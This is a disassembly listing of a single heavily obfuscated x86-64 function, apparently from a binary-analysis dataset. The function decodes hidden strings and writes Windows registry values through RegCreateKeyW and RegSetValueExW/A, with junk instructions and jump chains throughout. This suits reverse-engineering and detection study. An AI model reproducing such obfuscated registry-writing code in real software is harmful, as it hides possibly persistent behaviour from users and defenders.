Function at 0x140046a30
Capabilities:
Set registry value

Disassembly:
xchg r15, rax
mov r15, rsp
xchg r15, rax
xchg rbx, rsi
mov qword [rax + 0x18], rsi
xchg rbx, rsi
push rbp
jmp 0x140046c3d
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x140046f46
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
mov dword [rsp - 0x3c], esi
jmp 0x140046f87
sub dword [rbp - 0x14], 0x3048b3cf
sub dword [rbp - 0x14], 0x355b5b4b
lea rdx, [rbp + 0x10]
xchg rsp, rcx
mov rsp, r12
xchg rcx, rsp
call fcn.1400a7d50
jmp 0x140046d0c
mov rdx, rdx
cmp rdi, rax
ja 0x1400470b7
jmp 0x140046db7
movaps xmmword [rax - 0x58], xmm7
xchg rsi, rax
movaps xmmword [rsi - 0x68], xmm8
xchg rsi, rax
jmp 0x140046e4d
nop
sub rsp, 8
mov qword [rsp], r14
push r15
mov rsi, rsi
jmp 0x140046f9b
movzx eax, cx
mov dword [rsp - 0x28], 0x74b2cec0
sub ax, dx
add ax, 0xf2b
sub ax, 0xef9
xor word [r8], ax
jmp 0x140046b53
mov eax, 0x1714d95c
add eax, 0x5fe2144e
xor eax, 0x4bc9e456
sub eax, 0x125771be
jmp 0x140046eb0
sub dword [rbp - 0x14], 0x173d5261
xor dword [rbp - 0x14], 0x11b703ce
add dword [rbp - 0x14], 0x33bfd738
jmp 0x140046a6b
paddd xmm0, xmm1
mov dword [rsp - 0x18], ebp
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
xchg r8, r8
jmp 0x140046bf2
xchg r14, r14
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x30], ecx
jmp 0x140046ce9
mov dword [rsp - 0x3c], ebx
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x23
jl 0x140046ae5
mov dword [rsp - 0x30], 0x4e487351
lea rax, [rsp + 0x50]
jmp 0x140046bb0
movsxd rax, ecx
lea r8, [rsp + 0x50]
mov dword [rsp - 0x28], ecx
lea r8, [r8 + rax*2]
jmp 0x140046ae5
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x44], ebp
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x28], esi
jmp 0x140046e2c
nop
movabs rdi, 0xffffffff6dca67df
sub rdi, 0x6743451e
add rdi, 0x216b1aba
sub rdi, 0x877ffae
xor rdi, 0x417fd867
xor rdi, 0x5b94105f
jmp 0x140046d51
mov eax, edx
shr eax, 2
shr eax, 0x1b
shr eax, 1
jmp 0x140046d1c
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
mov dword [rsp - 0x34], 0x4c7a1d72
paddw xmm3, xmm2
movq xmm0, qword [rdx]
pxor xmm3, xmm0
jmp 0x140046f18
lea rcx, [rsp + 0x50]
mov dword [rsp - 0x2c], 0x791e51f6
cmp rcx, rax
ja 0x140047027
lea rax, [rsp + 0x50]
cmp r15, rax
jmp 0x140046ded
nop
mov qword [rsp - 8], rsi
sub rsp, 8
nop
mov qword [rsp - 8], rdi
jmp 0x140046cd5
cmp rax, r15
jbe 0x140047027
lea rax, [r15 + r8]
jmp 0x140046c1a
xchg rsi, rsp
movups xmmword [rsi + 0x70], xmm0
xchg rsi, rsp
movups xmm1, xmmword [0x1401138e0]
jmp 0x140046cac
xchg r8, r15
lea r8, [rcx + rcx]
lea rax, [rsp + 0x50]
lea rax, [rax + rdi*2]
xchg rbp, rbp
jmp 0x140046c52
mov dword [rbp - 0x14], 0x7a901c4d
sub dword [rbp - 0x14], 0x8ab5160
xor dword [rbp - 0x14], 0x46744c61
jmp 0x140046afe
xchg rbp, rdi
movups xmmword [rdi - 0x80], xmm1
xchg rdi, rbp
jmp 0x140046ffc
mov dword [rsp - 0x10], esi
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
jmp 0x140046b36
sub rsp, 8
push r12
nop
sub rsp, 8
mov qword [rsp], r13
jmp 0x140046ab3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [rsp - 0x10], ebp
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140046b18
nop
lea rdx, [rbp - 0x60]
xchg rdi, rdi
xchg r12, rcx
jmp 0x140046d33
shr eax, 1
add edx, eax
mov dword [rsp - 0x20], 0x17c279f8
movzx eax, dx
imul edx, eax, 0x33
jmp 0x140046ac6
mov r12, rcx
xchg r12, rcx
call fcn.140042b40
xchg r15, rax
mov rsi, r15
xchg r15, rax
movups xmm0, xmmword [0x1401138b0]
jmp 0x140046ee7
add rdi, 0xcf9b7cf
add rdi, 0x2aec62f7
add rdi, 0x7fffffff
xor rdi, 0x4287ef45
jmp 0x140046da1
mov dword [rbp - 0x18], 0x68a88d86
sub dword [rbp - 0x18], 0x166bf9ee
sub dword [rbp - 0x18], 0x4a115a5e
xor dword [rbp - 0x18], 0x53342104
sub dword [rbp - 0x18], 0x484110d7
sub dword [rbp - 0x18], 0x12de0766
jmp 0x140046c92
inc rdi
cmp word [rax + rdi*2], r14w
xchg rdi, rdi
jne 0x140046da1
jmp 0x140046f6e
lea rax, [rcx + rdi]
mov qword [rsi + 0x10], rax
mov dword [rsp - 0x3c], 0x6c23868e
xchg r14, rsi
jmp 0x140046e95
lea rdx, [rdx + 0x10]
cmp ecx, 0x20
jl 0x140046cbf
cmp ecx, 0x23
mov rdx, rdx
jge 0x140046b6e
jmp 0x140046b78
mov dword [rsp - 0x14], ecx
jbe 0x140047087
lea rax, [rsp + 0x50]
xchg r15, r8
jmp 0x140046f38
add edx, ecx
xchg rdx, rdx
sar edx, 5
jmp 0x140046be3
mov r13, r13
movd xmm8, eax
movdqa xmm9, xmmword [0x1401123a0]
lea rdx, [rsp + 0x50]
jmp 0x140046cbb
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x44], ebx
movq xmm2, xmm9
jmp 0x140046a59
xchg r12, rax
movaps xmmword [r12 - 0x78], xmm9
xchg r12, rax
mov rax, qword [0x14024e2e0]
mov dword [rsp - 0x24], ebp
xor rax, rsp
xchg r12, rax
jmp 0x14004700e
mov r13d, dword [0x14024e2c0]
cmp r13d, 2
jl 0x140046b78
movdqa xmm5, xmmword [0x140112370]
jmp 0x140046efb
xchg r13, r13
sar r14, 1
jmp 0x140047087
mov r15, r14
xchg rsi, r14
cmp rdx, 8
jb 0x140046c7d
xchg r15, r8
mov r8, qword [rsi]
jmp 0x140046c7a
xor eax, 0x1fe2f090
add eax, 0x4431e138
xor eax, 0x535f339c
add eax, 0x19608b5d
add eax, 0x5cd79aca
imul ecx
jmp 0x140046e04
mov dword [rsp - 0x1c], ebx
mov ecx, r14d
lea eax, [r14 + 0x1f]
lea r15d, [r14 + 5]
mov rdi, rdi
jmp 0x140046e6c
mov dword [rsp - 0x3c], 0x5896c77d
xchg rsp, rcx
movups xmmword [rcx + 0x50], xmm0
jmp 0x140046fbb
mov r10, r10
movdqa xmm4, xmmword [0x140113980]
movd xmm6, r15d
movdqa xmm7, xmmword [str.3333]
jmp 0x140046e11
mov dword [rsp - 0x44], 0x6e475ae5
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
mov dword [rsp - 0x14], 0x3a3602e8
jmp 0x140046fe3
mov r14, r8
xchg r15, r8
sub r14, rax
jmp 0x140046e8a
pmuldq xmm0, xmm4
mov r8, r8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
jmp 0x140046b8d
movzx eax, word [0x1401138f4]
mov word [rbp - 0x6c], ax
xor r14d, r14d
jmp 0x140046ed0
xchg rbp, rcx
mov rbp, qword [rsi + 0x10]
xchg rbp, rcx
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
jmp 0x140046a90
pxor xmm3, xmm0
movq qword [rdx + 8], xmm3
sub ecx, 0xfffffff8
xchg rbp, rbp
jmp 0x140046dcf
lea rbp, [rsp - 0x80]
neg rsp
sub rsp, 0xfffffffffffffe80
neg rsp
xchg r14, rax
movaps xmmword [r14 - 0x48], xmm6
xchg r14, rax
jmp 0x140046aa1
xchg rsp, rcx
movups xmm1, xmmword [0x1401138c0]
xchg rsp, rbx
movups xmmword [rbx + 0x60], xmm1
xchg rsp, rbx
movups xmm0, xmmword [0x1401138d0]
mov dword [rsp - 0x20], 0x2383193d
jmp 0x140046c64
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov r14, r14
jmp 0x140046a47
mov eax, dword [0x1401138f0]
mov dword [rbp - 0x70], eax
mov dword [rsp - 0x28], ecx
jmp 0x140046f5b
mov qword [rbp + 0x30], r12
xchg r12, rax
xchg r11, rdx
mov r12, r11
xchg r11, rdx
mov qword [rsp + 0x30], rcx
jmp 0x140046d72
xchg r9, r14
mov r9, rdi
xchg r9, r14
jmp 0x140047087
lea rcx, [rbx + r15]
xchg r8, rdi
mov rdi, r8
xchg r8, rdi
sub r8, r14
mov dword [rsp - 0x14], edi
add r8, r8
jmp 0x1400470a2
lea rbx, [r14 + r14]
mov dword [rsp - 0x1c], edx
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, r15
mov dword [rsp - 0x24], 0x2bb4b7c0
call fcn.1400e4a20
jmp 0x140047035
call fcn.1400e4a20
xor r14d, r14d
lea r15d, [r14 + 5]
jmp 0x14004715e
lea rcx, [r15 + rdi*2]
sub r8, 0xfffffffffffffffe
xchg r15, rdx
mov r15, rdx
xchg r15, rdx
call fcn.1400e4a20
jmp 0x140047051
lea rax, [r14 + rdi]
lea rdx, [rsp + 0x50]
lea rdx, [rdx + rax*2]
mov rbx, rbx
jmp 0x140047076
mov qword [rsp + 0x28], rdi
mov dword [rsp - 0x3c], 0xb3c0396
lea rax, [rsp + 0x50]
xchg rsi, rax
mov qword [rsp + 0x20], rsi
xchg rsi, rax
xor r9d, r9d
jmp 0x1400471a3
xchg rdx, rbx
movups xmmword [rdx], xmm6
xchg rdx, rbx
jmp 0x1400471b5
mov rcx, rbx
call fcn.1400436f0
mov dword [rsp - 0x30], 0x267f7c42
jmp 0x1400470da
add qword [rsi + 0x18], 0x2668b8a2
xor qword [rsi + 0x18], 0x1ce1822c
xor qword [rsi + 0x18], 0x5a6039ad
jmp 0x140047137
xchg r14, rsi
movups xmm7, xmmword [r14 + 0x10]
xchg rsi, r14
xchg rbp, rcx
movups xmmword [rcx - 0x30], xmm7
xchg rcx, rbp
xchg r14, rbp
jmp 0x1400471c5
xor qword [rsi + 0x18], 0x70e7620e
sub qword [rsi + 0x18], 0x454c3b44
sub qword [rsi + 0x18], 0xb31fe50
xor qword [rsi + 0x18], 0xacd3e67
jmp 0x140047178
xchg rsi, rax
xchg rsp, rsi
movups xmm6, xmmword [rsp]
xchg rsi, rsp
xchg r13, rbp
movups xmmword [r13 - 0x40], xmm6
xchg r13, rbp
jmp 0x14004711a
xor qword [rsi + 0x18], 0x37a6e2b
mov word [rsi], r14w
xchg rbx, r11
jmp 0x1400471d9
call fcn.140042290
mov dword [rsp - 0x38], 0x3b1e8c61
xchg rsi, rax
mov rax, rsi
jmp 0x14004715c
mov dword [rsp - 0x2c], edx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
jmp 0x14004718c
xchg rbx, r9
movups xmmword [r9 + 0x10], xmm7
xchg r9, rbx
jmp 0x140047245
mov qword [rsi + 0x10], rbp
xchg r14, rbp
mov qword [rsi + 0x18], 0x45ea97ae
jmp 0x1400470fd
mov r11, qword [rsp + 0x30]
xchg r11, rbx
add rbx, 8
lea rax, [rbp - 0x40]
mov r9, r9
cmp rbx, rax
je 0x1400471fa
jmp 0x1400470e8
mov rdx, qword [rbp - 0x28]
mov dword [rsp - 0x18], ebp
cmp rdx, 8
jb 0x140047245
jmp 0x14004733a
cmp rax, 0x1f
ja 0x140047e6a
mov r15, r15
jmp 0x14004723f
jb 0x14004722c
mov rbx, qword [rbx]
lea r8, [rbp - 0x20]
xchg rbx, rdx
mov rbx, rdx
xchg rdx, rbx
nop
jmp 0x140047308
call fcn.1400e2868
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jmp 0x140047361
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
mov r11, r11
je 0x1400473b1
mov ebx, 0x174d98fd
xor ebx, 0x451ee75d
jmp 0x14004729e
add rax, 0xffffffffd5b0bf1d
cmp rax, 0x1f
mov dword [rsp - 0x18], ebp
jmp 0x140047286
ja 0x140047e70
call fcn.1400e2868
cmp qword [rbx + 0x18], 8
xchg r8, r8
jmp 0x140047223
xor ebx, 0x6940a620
add ebx, 0x2bc44e0
xor ebx, 0x2e4fa3cb
xor ebx, 0x1f0cade3
jmp 0x1400472f7
jb 0x14004723f
mov dword [rsp - 0x34], 0x6069ff46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
mov dword [rsp - 0x1c], edx
add rax, 0xfffffffffffffff8
jmp 0x140047211
mov rcx, qword [rbp - 0x60]
mov rax, rcx
xchg r8, r8
cmp rdx, 0x1000
jmp 0x140047390
xor ebx, 0x10734f28
xor ebx, 0xdce05d8a
jmp 0x140047c2d
movabs rcx, 0xffffffff67b8e7bd
xor rcx, 0x55193ab7
add rcx, 0x1e81d06b
add rcx, 0xc9b94c7
add rcx, 0x115b032c
add rcx, 0x10e5ba9a
jmp 0x140047252
lea rdx, [rdx*2 + 2]
mov dword [rsp - 0x10], 0x588e78df
mov rcx, qword [rbp - 0x40]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jmp 0x1400472bb
mov dword [rsp - 0x44], 0x127df225
jb 0x140047291
lea rdx, [rdx*2 + 2]
jmp 0x1400472e1
mov dword [rsp - 0x14], 0x79683278
nop
sub rax, 0xffffffffd5b0bf25
jmp 0x140047273
jb 0x14004728c
nop
add rdx, 0x23954e95
sub rdx, 0x23954e6e
mov rcx, qword [rcx - 8]
sub rax, rcx
jmp 0x14004737c
lea rdx, [rbp - 0x60]
xchg rcx, r12
mov r12, rcx
jmp 0x1400479f6
shr eax, 0x10
shr eax, 1
shr eax, 1
add edx, eax
mov r12, r12
movsx eax, dl
jmp 0x140047bbf
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.3333]
mov r13, r13
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x140047ba1
pmuldq xmm1, xmm4
mov dword [rsp - 0x1c], 0x4b1cb0c1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x140047823
sub r9d, 0x3e936d5e
add r9d, 0x23dcbc68
sub r9d, 0x63bb20ae
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rsp, rsp
mov rcx, qword [rbp - 0x20]
jmp 0x1400478ec
paddb xmm2, xmmword [0x1401123d0]
movd xmm0, dword [rsp + 0x34]
mov dword [rsp - 0x28], 0x3fc745d1
pxor xmm2, xmm0
jmp 0x140047be2
jmp 0x140047e2e
xchg rbx, r11
mov r9d, 0x72fc6468
sub r9d, 0x3a10bda2
sub r9d, 0x38d825ee
add r9d, 0x5f660671
sub r9d, 0x181f396
xor r9d, 0x7754277f
jmp 0x140047796
cmp r8d, 0xc
xchg r9, r9
jl 0x140047609
mov eax, dword [rbp]
mov dword [rsp + 0x28], eax
xchg rbx, r11
mov qword [rsp + 0x20], rbx
jmp 0x140047459
sub dword [rsp + 0x28], 0x19fd445a
xor dword [rsp + 0x28], 0x7ed0bb77
sub dword [rsp + 0x28], 0x193aa987
sub dword [rsp + 0x28], 0x61b516d4
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
jmp 0x14004762c
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x40], 0x3711aa0f
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.3333]
jmp 0x140047705
sub al, cl
sub al, 0xd5
add al, 7
xor byte [r10], al
mov dword [rsp - 0x44], 0x5f079a3c
inc r8d
lea r10, [r10 + 1]
jmp 0x14004748a
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
xor word [rsp + 0x3c], 0x38
jmp 0x1400476c9
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x33
mov dword [rsp - 0x28], 0x573dcca4
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
jmp 0x140047839
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x2c], edi
jmp 0x140047759
xchg rsi, rax
cmp rdx, 0x1000
mov rcx, rcx
jb 0x140047a13
nop
sub rdx, 0x6930300f
jmp 0x1400479cf
sub r9d, 0xc6c5a03
sub r9d, 0x341b5172
sub r9d, 0x11b151ec
add r9d, 0x25868e89
xor r9d, 0x4ba8c419
jmp 0x140047737
mov dword [rsp - 0x38], ebp
xor ax, 0x36
mov word [rsp + 0x38], ax
mov dword [rsp + 0x28], 0x5c428c80
sub dword [rsp + 0x28], 0x3e05ccfe
jmp 0x1400474ab
movsd xmm0, qword [str.aGUGB7]
xchg rsp, r14
movsd qword [r14 + 0x30], xmm0
xchg r14, rsp
jmp 0x140047945
lea r10, [rsp + 0x30]
add r10, rax
nop word [rax + rax]
mov eax, 0x6fb6048b
jmp 0x140047613
sub eax, 0x6a418463
add eax, 0x28d2f45a
add eax, 0x1354c0d
xor eax, 0x414d099f
jmp 0x140047804
xchg r12, r12
lea r9d, [rcx - 0x50]
xor r8d, r8d
jmp 0x1400477ee
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
jmp 0x1400475c0
movdqa xmm4, xmmword [0x140113980]
mov rbp, rbp
movd xmm6, r15d
mov eax, 0x4330bdfc
xor eax, 0x461ded1b
jmp 0x140047bce
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov dword [rsp - 0x2c], 0x4a4763b4
jne 0x140047c01
jmp 0x1400475e2
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, r14d
mov dword [rsp - 0x10], 0x1221b07b
jmp 0x140047454
mov dword [rsp - 0x10], 0x70a6a448
jb 0x140047a18
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
xchg r15, r15
xchg rsi, rax
mov rsi, rcx
jmp 0x140047579
mov dword [rsp - 0x34], ebx
xor word [rsp + 0x3e], 0x39
xor word [rsp + 0x40], 0x3a
jmp 0x140047a9c
cmp qword [rbp + 8], 0x10
cmovae r11, qword [rbp - 0x10]
movsd xmm0, qword [str.vZGEZVAw_VY]
mov dword [rsp - 0x2c], edi
xchg rsp, r9
movsd qword [r9 + 0x30], xmm0
xchg r9, rsp
jmp 0x1400477b8
psubd xmm2, xmm0
xchg r15, r15
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x140047af4
mov eax, dword [rbp + 0x20]
mov rbp, rbp
lea edx, [rax + rax]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
jmp 0x140047b10
sub r9d, 0x65f62977
sub r9d, 0x6965677
xor r8d, r8d
lea rdx, [rsp + 0x30]
xchg rbx, rbx
mov rcx, qword [rbp - 0x20]
jmp 0x1400478dc
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x40], 0x24beb60a
psrld xmm0, xmm5
jmp 0x1400473d4
sub eax, 0x636cd7
sub eax, 0xa06d2ce
sub eax, 0x1a06652d
movd xmm5, eax
movdqa xmm2, xmmword [0x140112370]
jmp 0x140047859
xor r9d, 0x2d601599
sub r9d, 0x7c3a154
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov dword [rsp - 0xc], esp
xchg rcx, r8
jmp 0x1400477d1
mov eax, dword [0x140113900]
xchg r11, r11
mov dword [rsp + 0x38], eax
cmp byte [0x140113903], 0
jmp 0x140047b39
mov r8, qword [rbp - 0x20]
xchg rcx, r8
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rbx, rbx
test eax, eax
jne 0x140047c01
jmp 0x140047720
lea rdx, [rsp + 0x30]
mov dword [rsp - 0xc], 0x3355b75e
mov rcx, qword [rbp - 0x20]
jmp 0x140047671
xor eax, 0x7f5af
sub eax, 0x46537fbf
xor eax, 0x775c27bd
xor eax, 0xf01e3a1c
imul r8d
add edx, r8d
jmp 0x140047a3d
pmuldq xmm0, xmm4
mov dword [rsp - 0x20], 0x6ab78d29
shufps xmm1, xmm0, 0xdd
jmp 0x1400474d9
xchg rbp, rbp
mov dword [rsp + 0x28], 0x59a156d3
xor dword [rsp + 0x28], 0x6b7e2aa8
sub dword [rsp + 0x28], 0x1b38577c
jmp 0x140047b54
mov dword [rsp - 0x10], 0x43db2a10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x1400473f2
mov r10, rax
xchg rdx, r10
lea rcx, [rbp - 0x10]
mov r9, r9
jmp 0x140047b88
mov dword [rsp - 0x3c], ebx
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
jmp 0x140047567
sub ecx, 0xe1a0b75
add ecx, 0x3a27b44
xor ecx, 0x1d9c4239
sub ecx, 0x3772d47a
mov word [rsp + 0x30], cx
mov rsp, rsp
jmp 0x14004763b
xchg rsp, rcx
movzx eax, word [0x140113928]
mov ecx, 0x3bc3fd6a
xor ecx, 0x15b69da9
sub ecx, 0x1c28a5de
xor ecx, 0x272a9dcd
jmp 0x140047891
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov r8, r8
jmp 0x140047b24
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov r13, r13
jne 0x140047c01
movsd xmm0, qword [str.fJDP6]
xchg rsp, rcx
movsd qword [rcx + 0x30], xmm0
jmp 0x1400478b6
sub r8d, 0x19674d74
xor r8d, 0xd7de5e
add r8d, 0x841e42f
add r8d, 0x1930e05e
sub r8d, 0x4969025d
mov eax, r8d
mov dword [rsp - 0x10], 0x12b2a78b
jmp 0x1400475fb
mov eax, dword [0x140113938]
mov dword [rsp + 0x38], eax
mov dword [rsp - 0x38], 0x11c6f8e2
cmp word [0x14011393a], 0
je 0x14004783c
jmp 0x140047a29
sub eax, 0x2fb2c1d6
mov word [rsp + 0x30], ax
mov dword [rsp - 0x14], ebx
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
mov dword [rsp - 0x28], esi
jmp 0x140047520
movdqa xmm3, xmmword [0x140112380]
mov dword [rsp - 0x34], ebp
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x140047880
sub eax, 0xfbb55c3
sub eax, 0x17b0f6f5
sub eax, 0x2e15a36e
add eax, 0x206f339c
add eax, 0xd6806e5
jmp 0x14004796a
add rdx, 0x69303036
mov rcx, qword [rcx - 8]
mov dword [rsp - 0x2c], esi
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
mov dword [rsp - 0x24], 0x2404524c
jmp 0x140047a0d
xchg r12, rcx
call fcn.140042b40
xchg r11, r11
nop
xor r8d, r8d
xchg rdx, r10
jmp 0x14004786e
ja 0x140047e97
call fcn.1400e2868
lea r11, [rbp - 0x10]
mov dword [rsp - 0x34], 0x6d34ecd
jmp 0x1400476de
mov eax, 0x6fb60c8d
sub eax, 0x417d6b9a
xor eax, 0x588784ad
jmp 0x140047ab1
sar edx, 3
sar edx, 1
sar edx, 1
mov eax, edx
shr eax, 0xd
jmp 0x1400473c0
movd xmm0, dword [str.vZGEZVAw_VY]
mov dword [rsp - 0x28], 0x65c061d1
pxor xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140047993
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x140113918]
mov dword [rsp + 0x40], eax
mov dword [rsp - 0x18], 0x36c0a191
cmp word [0x14011391a], 0
je 0x140047aa5
mov eax, 0x575d77c4
jmp 0x1400479b1
xor word [rsp + 0x42], 0x3b
xchg rcx, rcx
mov dword [rsp + 0x28], edx
xchg r13, rcx
jmp 0x140047ac5
sub eax, 0x6ceab996
sub eax, 0x5de4731
sub eax, 0x3f62344
jmp 0x140047537
mov qword [rsp + 0x20], r13
xchg rcx, r13
mov r9d, 0x3faea82d
add r9d, 0x912fbb9
add r9d, 0x2f9112ec
xor r9d, 0xac048e4
add r9d, 0xbded370
jmp 0x14004740c
pand xmm2, xmmword [0x1401123b0]
mov r10, r10
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401123d0]
jmp 0x140047a4e
cmovae rcx, qword [rbp + 0x10]
mov r8, r8
movups xmm0, xmmword [str.URSgYMR_]
jmp 0x140047a6d
jne 0x140047c01
xchg r8, rcx
mov r8, qword [rbp - 0x20]
xchg rcx, r8
jmp 0x14004768c
je 0x140047497
mov r8d, r14d
xchg r11, r11
cmp r13d, 2
jl 0x140047935
jmp 0x140047652
add dword [rsp + 0x28], 0x17fb98c9
sub dword [rsp + 0x28], 0x11132c01
xor dword [rsp + 0x28], 0x1e8f91c3
lea rax, [rbp - 0x14]
mov dword [rsp - 0x2c], 0x1dc48d2c
mov qword [rsp + 0x20], rax
mov r9d, 0x53d72ac3
jmp 0x140047598
call fcn.1400af260
nop
xchg rsi, rdx
mov rsi, qword [rbp - 0x48]
xchg rsi, rdx
cmp rdx, 8
jmp 0x1400476a2
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov r10, r10
pand xmm2, xmmword [0x1401123b0]
packuswb xmm2, xmm2
jmp 0x140047435
imul ecx, eax, 0x33
movzx eax, r8b
xchg r12, r12
jmp 0x140047503
add eax, 0x3d660a1c
xor eax, 0x3fb8c289
sub eax, 0x58baf499
jmp 0x140047776
movd dword [rsp + 0x34], xmm2
mov r8d, 0x38b8fd53
sub r8d, 0x2f895235
xor r8d, 0x49a69be4
jmp 0x140047912
mov ebx, 0x29db184f
xor ebx, 0xe6abd83
add ebx, 0x41660326
xor ebx, 0xf1d8463
jmp 0x140047d83
sub byte [rbp - 0x10], 0x2a
xor byte [rbp - 0x10], 0x27
add byte [rbp - 0x10], 0x3e
sub byte [rbp - 0x10], 0x44
xchg rdi, rdx
jmp 0x140047cfa
neg rax
cmp rax, 0x1f
mov dword [rsp - 0x14], 0x7d922c1a
ja 0x140047e60
call fcn.1400e2868
jmp 0x140047de5
xchg rcx, rcx
nop
add rsp, 8
mov rbp, qword [rsp - 8]
jmp 0x140047cf9
xchg r9, r11
movaps xmm9, xmmword [r11 - 0x40]
xchg rcx, rcx
mov rsp, r11
nop
add rsp, 8
mov r15, qword [rsp - 8]
jmp 0x140047e4b
xchg r12, r12
cmp rax, 0x1f
ja 0x140047e84
call fcn.1400e2868
jmp 0x140047c9a
xchg r11, r11
xchg r15, r14
mov qword [rbp], r15
xchg r15, r14
mov qword [rbp + 8], 0x1f272bbb
sub qword [rbp + 8], 0x1696123a
xor qword [rbp + 8], 0x2ff5a162
jmp 0x140047cc4
add qword [rbp + 8], 0x31272867
add qword [rbp + 8], 0x727fe69
sub qword [rbp + 8], 0x1a7206c1
xor qword [rbp + 8], 0x7aba137
xor qword [rbp + 8], 0x42ea79ca
mov byte [rbp - 0x10], 0x57
add byte [rbp - 0x10], 9
jmp 0x140047d1c
ret
mov rdi, qword [rbp + 0x28]
xchg rdx, rdi
cmp rdx, 8
mov dword [rsp - 0x14], esi
jb 0x140047de5
lea rdx, [rdx*2 + 2]
jmp 0x140047d2d
add byte [rbp - 0x10], 4
add byte [rbp - 0x10], 2
xor byte [rbp - 0x10], 0x2d
jmp 0x140047c1d
mov rcx, qword [rbp + 0x10]
mov rax, rcx
mov dword [rsp - 0x2c], edx
cmp rdx, 0x1000
jb 0x140047c4a
nop
jmp 0x140047da0
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047c90
mov dword [rsp - 0x24], 0x1954205
jmp 0x140047dfd
xchg r11, rdx
movaps xmm7, xmmword [rdx - 0x20]
xchg r11, rdx
xchg r11, r9
movaps xmm8, xmmword [r9 - 0x30]
jmp 0x140047c66
sub ebx, 0x23317208
sub ebx, 0x2bed90a3
xor ebx, 0x43c82cb3
add ebx, 0x209f2b53
jmp 0x140047e28
add rdx, 0x3be126e8
sub rdx, 0x3be126c1
mov rcx, qword [rcx - 8]
mov rbp, rbp
sub rax, rcx
neg rax
add rax, 8
jmp 0x140047c35
call fcn.1400e2980
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x50]
xchg r11, r10
movaps xmm6, xmmword [r10 - 0x10]
xchg r11, r10
jmp 0x140047d6c
mov eax, ebx
xchg r8, rcx
mov r8, qword [rbp + 0x30]
xchg r8, rcx
xor rcx, rsp
mov dword [rsp - 0x44], ebx
jmp 0x140047dc4
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
jmp 0x140047c83
mov r12, qword [rsp]
add rsp, 8
nop
mov rdi, qword [rsp]
add rsp, 8
pop rsi
jmp 0x140047c54
xor ebx, 0xb5c231e5
mov rdx, qword [rbp + 8]
mov dword [rsp - 0x34], esi
